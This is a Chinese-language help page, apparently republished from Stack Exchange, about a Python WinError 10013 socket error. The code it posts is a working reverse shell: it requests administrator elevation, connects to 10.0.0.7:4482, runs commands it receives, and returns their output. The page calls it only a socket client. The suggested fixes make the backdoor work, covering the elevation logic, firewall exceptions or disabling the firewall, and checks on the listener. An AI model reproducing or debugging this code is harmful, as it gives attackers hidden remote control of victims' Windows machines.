You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

PermissionError: WinError 10013套接字权限问题求助排查

PermissionError: [WinError 10013] 问题排查与解决

问题描述

运行Python socket客户端代码时持续报错:

PermissionError: [WinError 10013] An attempt was made to access a socket in a way forbidden by its access permissions

代码已包含管理员权限检测逻辑,但仍无法解决问题,代码如下:

import os
import socket
import subprocess
import ctypes, sys

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

if is_admin():
    pass
else:
    # Re-run the program with admin rights
    ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
host='10.0.0.7'
port=4482
s=socket.socket()
s.connect((host,port))

while True:
    data=s.recv(1024)
    if data[:2].decode('utf-8')=='cd':
        os.chdir(data[3:].decode('utf-8'))
    if len(data)>0:
        cmd=subprocess.Popen(data.decode('utf-8'),shell=False,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
        output_bytes=cmd.stdout.read()+cmd.stderr.read()
        output_str=str(output_bytes)
        s.send(str.encode(output_str + str(os.getcwd())) +'>')
#Close Connection
s.close()

解决方案

  • 修复管理员权限逻辑漏洞
    当前代码中,非管理员权限触发重启后,原进程并未退出,会继续执行后续的socket连接代码,导致同一进程(或新旧进程)重复尝试连接引发权限冲突。修改else块,添加退出逻辑:

    else:
        # Re-run the program with admin rights
        ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
        sys.exit()  # 退出原非管理员进程,避免重复执行
    
  • 检查端口占用
    打开命令提示符,执行以下命令查看4482端口是否被其他程序占用:

    netstat -ano | findstr :4482
    

    若返回结果,记录PID值,打开任务管理器结束对应进程后重新运行代码。

  • 验证防火墙设置

    1. 确认Windows防火墙已允许Python.exe通过私人/公共网络;
    2. 可临时关闭防火墙测试是否为防火墙拦截连接请求,若关闭后正常,需在防火墙中添加Python程序的允许规则。
  • 确认服务器端状态
    检查目标服务器10.0.0.7的4482端口是否处于正常监听状态,同时确认服务器端防火墙/安全组未拦截客户端的连接请求。

  • 更换测试端口
    尝试使用1024以上的非特权端口(如8080、9000)替换当前的4482端口,避免端口被系统或其他服务占用。

内容的提问来源于stack exchange,提问作者ExlusiveMaximus

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.07 23:01:35